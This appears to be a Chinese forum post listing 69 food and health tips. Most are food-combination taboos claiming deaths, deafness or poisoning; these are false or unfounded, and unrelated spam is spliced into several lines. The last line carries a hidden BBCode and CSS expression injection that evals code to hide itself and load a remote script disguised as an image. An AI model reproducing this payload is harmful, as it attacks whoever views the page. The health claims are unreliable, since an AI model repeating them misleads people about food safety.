1.鸡蛋与糖精不可同食，同食可导致中毒甚至逝世亡；
2.豆腐与蜂蜜不可同食，同食可导致耳聋；
3.土豆与香蕉不可同食，同食可引起皮肤斑点；
4.狗肉与黄鳝不可同食，同食可导致逝世亡；
5.芹菜与兔肉不可同食，同食可导致脱发；
6.螃蟹与柿子不可同食，同食可引起腹泻；
7.洋葱与蜂蜜不可同食，同食会损伤眼睛；
8.团鱼与苋菜不可同食，同食中毒；
9.人参与罗卜不可同食,爱上希澈的365个理由 （2），同食可引起积食滞气；
10.海带与猪血不可同食，同食可引起便秘；
11.牛肉与红塘不可同食，同食胀逝世人；
12.番茄忌绿豆，同食伤元气；
13.羊肉忌田螺，同食可引起积食腹胀；
14.鹅肉忌鸭梨，同食伤肾脏；
15.白酒忌柿子，同食心闷；
16.黑鱼忌茄子，同食肚子痛；
17.皮蛋忌红塘，同食作呕；
18.尽量少吃宵夜，最好是不吃。由于胃不能得到休息，而增添了胃癌发病几率。
19.一个星期只能吃四颗蛋。吃太多。对身材不好。
20.鸡屁股含有致癌物，不要吃较好。
21.饭后吃水果是过错的观念。应是饭前吃水果；
22.蟹与奇怪果不可同食，同食可导抽筋；
23.饮烈酒后，不要喝浓茶，以免引开端晕、反胃；
24.女生月经来时。不要喝绿茶。反正茶类不要喝就对了。多吃可以补血的东西；
25.喝豆浆时不要加鸡蛋及糖。也不要喝太多；
26.空腹时不要吃蕃茄，最好饭后吃；
27.早上醒来。先喝一杯水。可预防结石,1.80复古传奇私服；
28.睡前三小时不要吃东西。否则可引起肥胖；
29.少喝奶茶高热量高油。没有养分价值。长期饮用。易患高血压、糖尿病等疾病；
30.刚出炉的面包不宜马上食用。
31.牛奶与沙田柚不可同食，同食可引起腹泻；
32.羊肉与梨不可同食，同食可引起腹胀痛；
33.乳酪与杨桃不可同食，同食可引起腹泻；
34.阔别充电座。人体应阔别30公分以上，切忌放在床边；
35.天天喝水八大杯；
36.每天十杯水，膀胱癌不会来；
37.白天多喝水，晚上少喝水；
38.一天不要喝两杯以上的咖啡。喝太多易导致失眠，胃痛。
39.油脂食物少吃。因为得花5"7小时消化，并使脑中血液集中到肠胃。易昏昏欲睡。
40.下午五点后。大餐少少吃，由于五点后身材不需那么多能量。
41.10种吃了会快活的食物：深海鱼，香蕉，葡萄柚，全麦面包，菠菜，大蒜，南瓜，低脂牛奶，鸡肉，樱桃。
42.睡眠不足会变笨，一天须八小时睡眠，有昼寝习惯较不会老。
43.最佳睡眠时光是在晚上10点"凌晨6点。
44.天天饮酒不要超过一杯，由于酒精会克制制作抗体的B细胞，增添细菌沾染机遇。
45.服用胶囊应以冷水吞服(可以第一个吃)，睡前30分先服药。忌立即躺下。
46.酸梅具防止老化作用，青春永驻;肝火有弊病者宜多食用。
47.掉发因素：熬夜，压力，烟酒，香鸡排。麻辣锅。油腻食品。调味过重的料理。
48.辅助头产生长：多食用包心菜，蛋。豆类;少吃甜食(尤其是果糖)。
49.天天一杯柠檬汁，柳橙汁。不但可以美白还可以淡化黑斑。
50.苹果是机车族、瘾君子、家庭主妇的常备良药，1天1颗，让自己有个清洁的肺。
51.吸烟又吃维他命(B胡萝卜素-A维他命的一种)，会致癌，尽早戒烟。才是健康的。
52.女性不宜喝茶的五个时代：月经来时，孕妇，临产前。生产完后，更年期。
53.吸烟，关系最大的是肺癌，唇癌，舌癌，喉癌，食道癌，也与膀胱癌有关。
54.饮酒导致肝硬化。引发肝癌。
55.吃槟榔会导致口腔纤维化，口腔癌。
56.食品过于精致，缺少纤维;含大批脂肪，尤其是胆固醇会引发胃癌。
57.食物过于粗糙，养分不足时导致食道癌，胃癌。
58.食品中的黄曲毒素。亚硝酸类物皆具有致癌性。
59.不吸烟。拒吸二手烟。
60.适量饮酒，不拚久。不醉酒。
61.减少食用盐腌。烟熏，烧烤的食物。
62.天天摄取新颖的蔬菜与水果。
63.每天摄取富含高纤维的五谷类及豆类。
64.每天摄取均衡的饮食，不过量。
65.保持幻想体重。不过胖。
66.坚持规律的生涯与活动。
67.坚持轻松高兴的心境。
68.准确饮食习惯：早上吃的像天子，中午吃的像平民，晚上吃的像乞丐；
69.吃含钙食品不宜马上饮茶，以免引起结石。[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]
